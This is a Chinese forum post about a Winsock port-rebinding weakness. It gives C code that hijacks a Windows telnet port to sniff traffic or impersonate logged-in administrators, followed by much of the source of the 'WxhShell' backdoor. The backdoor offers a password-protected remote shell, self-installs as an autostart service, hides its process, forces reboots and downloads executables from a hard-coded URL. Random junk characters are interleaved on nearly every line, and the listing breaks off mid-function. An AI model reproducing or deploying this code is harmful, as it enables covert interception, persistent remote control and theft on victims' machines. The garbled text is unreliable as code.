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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: U}yW<#$+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Uc7mOa}4  
>`Y.+4 mE  
  saddr.sin_family = AF_INET; Aw$x;3y  
j9eTCJqB  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *6sl   
F, W~,y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); t3*wjQ3  
RDW8]=uM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +giyX7BPJ  
Wk~W Ozr}^  
  这意味着什么?意味着可以进行如下的攻击: Sj]T   
2D75:@JL}|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7!@-*/|!S9  
Vq2y4D?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &+Z,hs9%  
?5C!<3gM)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 S^-DK~Xt4  
 aC$B2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  RN$1bxY  
QQ%D8$k"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @Z*W  
pWy=W&0~qf  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ve MH  
'FqQzx"r  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .<jr0,i  
5:pM 4J  
  #include iP =V8g?L  
  #include 8$")%_1]  
  #include 2/vMoVT,  
  #include    =d".|k  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {K+i cTL3  
  int main() :}5j##N  
  { CnpV:>V=  
  WORD wVersionRequested; f$+,HB  
  DWORD ret; ^A!Qc=#z}  
  WSADATA wsaData; Id_2PkIN$~  
  BOOL val; v4u5yy_;(  
  SOCKADDR_IN saddr; Lx\ 8Z=  
  SOCKADDR_IN scaddr; .n#@$ nGZ  
  int err; M$y+q ^  
  SOCKET s; !Y$h"<M  
  SOCKET sc; -K q5i  
  int caddsize; n!NS(. o  
  HANDLE mt; KV]X@7`@  
  DWORD tid;   ".W8)  
  wVersionRequested = MAKEWORD( 2, 2 ); /RNIIY~w  
  err = WSAStartup( wVersionRequested, &wsaData ); RP~|PtLw_  
  if ( err != 0 ) { GC?ON0g5s  
  printf("error!WSAStartup failed!\n"); '?!zG{x  
  return -1; :Pvzl1  
  } s"0Y3x3  
  saddr.sin_family = AF_INET; W ?qmp|YD  
   ABQa 3{v  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /q<__N  
<D:.(AUeO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); brW :C? }  
  saddr.sin_port = htons(23); }j^i}^Du,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N!ls j \-  
  { x,rlrxI  
  printf("error!socket failed!\n"); eIz<)-7:  
  return -1; I/&%]"[^u  
  } Fgp]l2*  
  val = TRUE; b6Wqr/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 qu-B| MuOa  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) GO__$%~  
  { pk^K:Xs}  
  printf("error!setsockopt failed!\n"); {>R:vH 8  
  return -1; qHuZcht  
  } gu0j.XS^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; n;@bLJ$W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 W8ouO+wK  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 yKa{08X:  
"t (p&;d  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) K? y[V1,  
  { )2bvQy8K  
  ret=GetLastError(); [P&7i57  
  printf("error!bind failed!\n"); ZZHDp&lh}  
  return -1; PmKeF}  
  } ;D:9+E<>a  
  listen(s,2); ^G4 P y<s  
  while(1) +z9Q-d%O  
  { .#rJ+.2  
  caddsize = sizeof(scaddr); L1cI`9  
  //接受连接请求 X~lVVBO  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); rEB @$C^  
  if(sc!=INVALID_SOCKET) NWMFtT  
  { $wo?!gt  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [H6hyG~  
  if(mt==NULL) )iYxt:(,  
  { /J=v]<87a  
  printf("Thread Creat Failed!\n"); ;1%-8f:lW  
  break; 1][4.}?F[  
  } WU71/PYm`  
  } R)QC)U  
  CloseHandle(mt); ~GL] wF2#  
  } gBC@38|6)  
  closesocket(s); Dey<OE&  
  WSACleanup(); S7/eS)SQR  
  return 0; !bN*\c  
  }   +RyjF~  
  DWORD WINAPI ClientThread(LPVOID lpParam) v^d]~ !h  
  { >pp5;h8!  
  SOCKET ss = (SOCKET)lpParam; W g02 A\  
  SOCKET sc; zi]\<?\X  
  unsigned char buf[4096]; |}(`kW  
  SOCKADDR_IN saddr; LUM@#3&  
  long num; u~WVGjoQ  
  DWORD val; PH+S};Uxv  
  DWORD ret; VJickXA  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }]lr>"~y}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   gm igsXQ  
  saddr.sin_family = AF_INET; $5ak_@AC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); eHn7iuS8  
  saddr.sin_port = htons(23); qI#;j%V  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?0v-qj+  
  { 7 "20hAd  
  printf("error!socket failed!\n"); U%q7Ai7  
  return -1; glM$R&/  
  } SYCEQ5 -  
  val = 100; Yu)NO\3&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3%E }JU?MM  
  { lku[dQdk  
  ret = GetLastError(); |=`~-i2W  
  return -1; 1(I6.BHW  
  } ew#B [[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pTPi@SBaP{  
  { -likj# Z  
  ret = GetLastError(); 1.D,W1s  
  return -1; [d(U38BI  
  } mz,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ts\5uiB<%  
  { }1Gv)l7  
  printf("error!socket connect failed!\n"); &cxRD  
  closesocket(sc); gtk7)Uh  
  closesocket(ss); fGUE<l  
  return -1; UTH*bL5/J2  
  } /?@3.3sl_  
  while(1) O_wEcJPE  
  { LhOa{1SY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C G0 M  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w80oXXs[#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 l_o@miG/  
  num = recv(ss,buf,4096,0); _F>CBG  
  if(num>0) ';3{T:I  
  send(sc,buf,num,0); B* ?]H*K  
  else if(num==0) ad*m%9Y1Q  
  break; oB}BU`-l  
  num = recv(sc,buf,4096,0); TW)c#P43K  
  if(num>0) l`oZ) ?ur  
  send(ss,buf,num,0); llcb~  
  else if(num==0) ZA0mz 65  
  break; KN<S}3MN  
  } /N=b\-]  
  closesocket(ss);  6:b! F  
  closesocket(sc); &e @2  
  return 0 ; hs^zTZ_  
  } tSr8 zAV  
oI }VV6vO  
?}wk.gt>  
========================================================== #M9~L[nF S  
"I3@m%qv  
下边附上一个代码,,WXhSHELL $"+djI?E9  
B3We|oe!  
========================================================== rDm~h~u5  
1oR7iD^  
#include "stdafx.h" e?0l"  
Q6PHpaj  
#include <stdio.h> 4!Fo$9  
#include <string.h> NjVYLn<.r  
#include <windows.h> FHj" nB  
#include <winsock2.h> ur)9x^y  
#include <winsvc.h> Of*Pw[vD  
#include <urlmon.h> &S~zNl^m  
z* ^_)Z  
#pragma comment (lib, "Ws2_32.lib") tr<Nm6!  
#pragma comment (lib, "urlmon.lib") v- 2:(I V  
 `=4r+  
#define MAX_USER   100 // 最大客户端连接数 BmbyH{4  
#define BUF_SOCK   200 // sock buffer cqQ#p2<%  
#define KEY_BUFF   255 // 输入 buffer o_XflzC  
8EW_V$>R  
#define REBOOT     0   // 重启 SheM|I~de  
#define SHUTDOWN   1   // 关机 .B7,j%1r  
\H1( PA  
#define DEF_PORT   5000 // 监听端口 u_@f$  
!hJ+Lp_  
#define REG_LEN     16   // 注册表键长度 5eLtCsHz  
#define SVC_LEN     80   // NT服务名长度 q ?|,O;?  
|cK*~  
// 从dll定义API vx>b^tJKC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `7c~m ypx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); % Qmn-uZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;D3C >7y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e|)hG8FlF  
CyJEY-  
// wxhshell配置信息 95ZyP!  
struct WSCFG { ni.cTOSx  
  int ws_port;         // 监听端口 nCUg ,;_=  
  char ws_passstr[REG_LEN]; // 口令 (/=f6^}  
  int ws_autoins;       // 安装标记, 1=yes 0=no MLXNZd   
  char ws_regname[REG_LEN]; // 注册表键名 GZEc l'h*  
  char ws_svcname[REG_LEN]; // 服务名 ?4+9fE<Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 } df W%{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qB5j;@ r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |?!~{-o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N4v~;;@(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NSxoF3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PRx8I .  
2<i!{;u$qL  
}; '=39+*6?  
I@T8Iv=  
// default Wxhshell configuration Z_$%.  
struct WSCFG wscfg={DEF_PORT, C^O VB-  
    "xuhuanlingzhe", tI`Q/a5@  
    1, BBaQ}{F8>2  
    "Wxhshell", *1 uKr9  
    "Wxhshell", o*-)Tq8GHE  
            "WxhShell Service", @P#N2:jwj  
    "Wrsky Windows CmdShell Service", w^Sz#_2  
    "Please Input Your Password: ", CNih6R  
  1, U_Vs.M.p  
  "http://www.wrsky.com/wxhshell.exe", `tB gH_$M  
  "Wxhshell.exe" y^;#&k!  
    }; C].iCxn  
3DzMB?I  
// 消息定义模块 )Q=_0;#;k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >tYm+coS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ohRjvJ'v|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q3mJ782p]  
char *msg_ws_ext="\n\rExit."; v_BcTzQ0S  
char *msg_ws_end="\n\rQuit."; gR&Q3jlIV  
char *msg_ws_boot="\n\rReboot..."; SzAJ2:qhl  
char *msg_ws_poff="\n\rShutdown..."; ! +a. Ei  
char *msg_ws_down="\n\rSave to "; y=fx%~<> 8  
G/k2Pe{SL  
char *msg_ws_err="\n\rErr!"; vleS2-]|  
char *msg_ws_ok="\n\rOK!"; XeW<B0~  
!<j'Ea  
char ExeFile[MAX_PATH]; )Lk639r  
int nUser = 0; QiQ_bB!\  
HANDLE handles[MAX_USER]; B\=L3eL<D  
int OsIsNt; UxbjA- U[  
6@Y_*4$|  
SERVICE_STATUS       serviceStatus; VF&(8X\   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ojafy}  
A0/"&Ag]  
// 函数声明 &TnS4O  
int Install(void); S*==aftl(  
int Uninstall(void); ];VA!++  
int DownloadFile(char *sURL, SOCKET wsh); Q! o'}nA  
int Boot(int flag); n D0K).=Q  
void HideProc(void); *M[?bk~~  
int GetOsVer(void); wVX[)E\J  
int Wxhshell(SOCKET wsl); :{PJI,  
void TalkWithClient(void *cs); 4qO+_!x{)  
int CmdShell(SOCKET sock); 6w*dKInG[-  
int StartFromService(void); x/NfZ5e0X  
int StartWxhshell(LPSTR lpCmdLine); O(#)m>A  
EOIN^4V"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cbNTj$'b2u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F5LuSy+v  
l>2E (Y|  
// 数据结构和表定义 $~~Jw]   
SERVICE_TABLE_ENTRY DispatchTable[] = p2Z?T}fa}&  
{ "An,Q82oHf  
{wscfg.ws_svcname, NTServiceMain}, z#zI1Am(O  
{NULL, NULL} NvD7Krqwa  
}; Sj-n;F|=X  
spGb!Y`mR  
// 自我安装 5 f@)z"j  
int Install(void) ?L5zC+c!  
{ pf2[ , v/  
  char svExeFile[MAX_PATH]; b[sx_b  
  HKEY key; XtXEB<4Z  
  strcpy(svExeFile,ExeFile); 8Ry3`ct  
&x=.$76  
// 如果是win9x系统,修改注册表设为自启动 F<ZYh  
if(!OsIsNt) { =qoWCmg"&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l\E%+?K+^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ",p;Sd  
  RegCloseKey(key); 0QB iC]9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6|K5!2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d:_t-ZZo  
  RegCloseKey(key); 3YeG$^y"  
  return 0; P!$Zx)T  
    }  H_B4  
  } bH-ub2@qO  
} P#E&|n7DT  
else { 9"@\s$ OBk  
q YC;cKv  
// 如果是NT以上系统,安装为系统服务 {i1| R"ta  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !xzeMVI  
if (schSCManager!=0) O6Vtu Ws%  
{ $CxKuB(  
  SC_HANDLE schService = CreateService BIb4h   
  ( $Ad{Z  
  schSCManager, Eav[/cU  
  wscfg.ws_svcname, 2`AY~i9  
  wscfg.ws_svcdisp, ucuSe!IcX  
  SERVICE_ALL_ACCESS, :lX!\(E2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H;D>|q  
  SERVICE_AUTO_START, Qwz}B  
  SERVICE_ERROR_NORMAL, v&Ii^?CvO  
  svExeFile, f& 0M*o,)  
  NULL, qsF<!'m7`  
  NULL, wJg1Y0nh  
  NULL, W$QcDp]#p}  
  NULL, [NQOrcAQ  
  NULL $[9%QQk5<L  
  ); n+! AnKq  
  if (schService!=0) Gn22<C/  
  { E_gD:PPU5  
  CloseServiceHandle(schService); D_?K"E=fw  
  CloseServiceHandle(schSCManager); MV! {j;g1<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,368d9,rDz  
  strcat(svExeFile,wscfg.ws_svcname); fr,7rS/w{l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x"eRJii?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Xk:OL,c  
  RegCloseKey(key); _G_Cj{w  
  return 0; lackB2J9 A  
    } ?42<J%p  
  } zuP B6W^  
  CloseServiceHandle(schSCManager); *aXF5S  
} >@BnV{ d  
} ,V'o4]H  
,4 hJT  
return 1; he#J|p  
} H1 2Fw'2  
h-g+g#*  
// 自我卸载 ke{8 ^X~#  
int Uninstall(void) 7t3X)Ah  
{ |VKK#J/  
  HKEY key; C#QpQg2  
Pl(Q,e7O]  
if(!OsIsNt) { FRcy`)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Twh!X*uQ  
  RegDeleteValue(key,wscfg.ws_regname); @)IjNplYkw  
  RegCloseKey(key); r}Ohkr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J%8(kWQ|  
  RegDeleteValue(key,wscfg.ws_regname); Us%T;gW  
  RegCloseKey(key); o-;E>N7t  
  return 0; |HU@ >  
  } M\C"5%2Mu  
} +_s #2  
} .R`5 Qds*l  
else { )js)2L~  
#XK2Ien)Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M-\Y"]sW  
if (schSCManager!=0) ]5BX :%  
{ Ytgcs( /$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,"2s`YC  
  if (schService!=0) siXr;/n"  
  { {2qFY 5H  
  if(DeleteService(schService)!=0) { BMhy=+\  
  CloseServiceHandle(schService); [vge56h  
  CloseServiceHandle(schSCManager); U -Y03  
  return 0; 85lCj-cs  
  } KgV3j]d  
  CloseServiceHandle(schService); ko1J094Y%  
  }  0,r}o  
  CloseServiceHandle(schSCManager); tzZ63@cm  
} J5*tJoCYS  
} ckV`OaRw4  
/`9sPR6e  
return 1; z+ s6)Ad  
} Q*~LCtrI  
W egtyO  
// 从指定url下载文件 Z,`iO %W  
int DownloadFile(char *sURL, SOCKET wsh) r$5i Wu  
{ .#wqXRd  
  HRESULT hr; mt9 .x  
char seps[]= "/"; >oea{u  
char *token; )S`jFQ1  
char *file; $Vsk Ew"|M  
char myURL[MAX_PATH]; sLh==V;9  
char myFILE[MAX_PATH]; t c[n&X  
c?P?yIz6p  
strcpy(myURL,sURL); "~E[)^ANxD  
  token=strtok(myURL,seps); ,PlO8;5]  
  while(token!=NULL) syk!7zfK  
  { Hip&8NW  
    file=token; L93l0eEt  
  token=strtok(NULL,seps); BLN^ <X/  
  } %509\;el  
V7#Ffi  
GetCurrentDirectory(MAX_PATH,myFILE); 6W@UJx}w5  
strcat(myFILE, "\\"); '[J<=2&  
strcat(myFILE, file); Nb?w|Ne(T  
  send(wsh,myFILE,strlen(myFILE),0); YiYV>gaf"H  
send(wsh,"...",3,0); vK(i 9>;7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lW<PoT  
  if(hr==S_OK) |4 v0:ETb$  
return 0; Fd?"-  
else 17D"cP  
return 1; !)  S ?m  
~n[d4qV&  
} CQZgMY1{  
Mmj;'iYOwF  
// 系统电源模块 Y^36>1.:  
int Boot(int flag) 3VuW#m#j  
{ +${D  
  HANDLE hToken; V I,ACj  
  TOKEN_PRIVILEGES tkp; }YjX3|8zL=  
> *@y8u*  
  if(OsIsNt) { (*1v\Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PpV'F[|,r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tS|9fBdCs  
    tkp.PrivilegeCount = 1; 9 Yx]=n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;WgJ<&33  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0~HKiH-  
if(flag==REBOOT) { $k0k k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pX/n)q[  
  return 0; zR `EU,  
} cKN$ =gd  
else { ex+\nD>t4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Wqc)Fv70m  
  return 0; _nD$b={g  
} FvN<<&B  
  } #Pw2Q  
  else { bgS$ {n/  
if(flag==REBOOT) { Kk(9O06j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R-NS,i={  
  return 0; kgy:Q'  
} 4VHqBQ4  
else { ;^ La"m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xBUya4w  
  return 0; :gerQz4R8  
} kxp) ;  
} 0E?jW7yr  
YhbZ'SJ  
return 1; *\(r+>*x*  
} -6Oz^  
6&DX] [G  
// win9x进程隐藏模块 ET_W-  
void HideProc(void) N+LL@[  
{ =1O<E  
z^_*&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `Q+ (LBP  
  if ( hKernel != NULL ) s"9`s_p`d  
  { 3<k`+,'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u\LiSGePN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uum;q-"  
    FreeLibrary(hKernel); CSGz3uC2D  
  } ^Y u6w\QM  
@+'-ADX  
return; %YSpCI  
} ?q(\=;Y  
&ZghMq~  
// 获取操作系统版本 `6 /$M!4$  
int GetOsVer(void) XO-Prs  
{ '\Jj8oJQj  
  OSVERSIONINFO winfo; B.g[c97  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y_*PQZ$c<  
  GetVersionEx(&winfo); #O$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) AX?fuDLs  
  return 1; I8+~ &V}  
  else [cTe54n  
  return 0; %STliJ  
} %|^OOU}  
-RO7 'm0  
// 客户端句柄模块 r|PFw6  
int Wxhshell(SOCKET wsl) /&CmO>^e  
{ d)@<W1;  
  SOCKET wsh; G P:FSprP  
  struct sockaddr_in client; ?."&MZ  
  DWORD myID; ME;n^y\8  
D?C)BcN  
  while(nUser<MAX_USER) aO@ 7O*  
{ d0aCY  
  int nSize=sizeof(client); #VB')^d<U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AK= h[2(  
  if(wsh==INVALID_SOCKET) return 1; >$ NDv  
TMs,j!w?I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Mva3+T  
if(handles[nUser]==0) O(tX8P Q5N  
  closesocket(wsh); }tH[[4tw,  
else nSF``pp+  
  nUser++; {fha`i  
  } pl5P2&k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Tneq6>  
JC}f-%H?K  
  return 0; A a= u+  
} e1>aTu@  
! iptT(2  
// 关闭 socket %V1Z~HC  
void CloseIt(SOCKET wsh) Aub]IO~  
{ -b9;5eS!  
closesocket(wsh); $we]91(: :  
nUser--; {/X4(;~0  
ExitThread(0); 4q'B<7{Q  
} :N<.?%Kf  
?gO8kPg/D  
// 客户端请求句柄  t^xTFn  
void TalkWithClient(void *cs) !@x+q)2  
{ ,h{A^[yl  
N0K){  
  SOCKET wsh=(SOCKET)cs; Rx*BwZ  
  char pwd[SVC_LEN]; rQOWLg!"  
  char cmd[KEY_BUFF]; G [:N0{v5  
char chr[1]; KjFK/Og.  
int i,j; 4-kZJ\]  
!IC-)C,q  
  while (nUser < MAX_USER) { bae\Zk%`^  
I.Y['%8,5~  
if(wscfg.ws_passstr) { {ekCQeDo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nI/kw%<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kM'"4[,nz  
  //ZeroMemory(pwd,KEY_BUFF); Fi. aC;sx  
      i=0; Ul_M3"Z  
  while(i<SVC_LEN) { 9U {y1}  
V~T@6S  
  // 设置超时 J0 k  
  fd_set FdRead; :-iMdtm  
  struct timeval TimeOut; Ja]?&j  
  FD_ZERO(&FdRead); Z1ALq5  
  FD_SET(wsh,&FdRead); b1gaj"]  
  TimeOut.tv_sec=8; \.f}W_OF  
  TimeOut.tv_usec=0; G/d4f?RU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q|,B*b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +&X%<S W  
-w;(cE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v}sY|p"  
  pwd=chr[0];  Og2vGzD  
  if(chr[0]==0xd || chr[0]==0xa) { p1D[YeF4  
  pwd=0; @v}B6j b;  
  break; LuR,f"%2  
  } )jCo%P/  
  i++; < AI;6/  
    } )-Ej5'iHr  
?!=iu!J  
  // 如果是非法用户,关闭 socket H{?9CxYa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j}F-Xs+  
} fa&-. *  
>S1)YKgz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B_ja&) !s1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .}k(L4T|=  
nx:KoB"ny  
while(1) { -/ x W  
uNHdpni  
  ZeroMemory(cmd,KEY_BUFF); TZ;p0^(  
!Y<oN~<%)  
      // 自动支持客户端 telnet标准   l;"Ab?P\  
  j=0; *9 Q^5;y  
  while(j<KEY_BUFF) { [EY`am8[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?( =p<TUw  
  cmd[j]=chr[0]; Nwc!r (  
  if(chr[0]==0xa || chr[0]==0xd) { joXfmHB}  
  cmd[j]=0; $&Kq*m 0g  
  break; kvGCbRC  
  } 'r} zY-FM`  
  j++; 3L _I[T$s  
    } `W `0Fwu9  
Q<6P. PTya  
  // 下载文件 mPPk )qy  
  if(strstr(cmd,"http://")) { =s}Xy_+:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); joa5|t!D9  
  if(DownloadFile(cmd,wsh)) QM5 .f+/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 85|fyX  
  else V8-h%|$p3W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #FYAV%pi  
  } L{ho*^b  
  else { fd8!KO  
VW@ x=m  
    switch(cmd[0]) { t` 8!AhOgc  
  }wwe}E-e  
  // 帮助 \aP6_g:N}  
  case '?': { `7+j0kV)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9 L?;FY)_  
    break; %8)W0WMe  
  } Qn:kz*:  
  // 安装 PzZZ>7_6S  
  case 'i': { .5> 20\b2  
    if(Install()) Nf9fb?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y69J%/c ra  
    else P2 0|RvE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k_GP> b\"k  
    break; YCy22@C  
    } PoShQR<  
  // 卸载 J?n<ydZSH  
  case 'r': { Zt@Z=r:&  
    if(Uninstall()) Gzt=u"FV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;\y ;  
    else b!$}ma;B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BF8"rq}r0  
    break; 9l+{OA  
    } uXQ >WI@eF  
  // 显示 wxhshell 所在路径 "DSPPE&[c  
  case 'p': { 5V-jMB  
    char svExeFile[MAX_PATH]; $R^AEa7  
    strcpy(svExeFile,"\n\r"); Q;h3v1GC\P  
      strcat(svExeFile,ExeFile); |@j _2Q,  
        send(wsh,svExeFile,strlen(svExeFile),0); 49 }{R/:  
    break; DFe;4BdC  
    } TSL9ax4j  
  // 重启 7\/5r.  
  case 'b': { 4p)e}W*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $E(XjuS  
    if(Boot(REBOOT)) _qWC4NMF(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9 1P4:6  
    else { R9r+kj_  
    closesocket(wsh); !0 Q8iW:  
    ExitThread(0); xi'<y  
    } 8NimZ(  
    break; Mth6-^g5  
    } dL;HV8z^  
  // 关机 FN )d1q(~  
  case 'd': { (paf2F`~#  
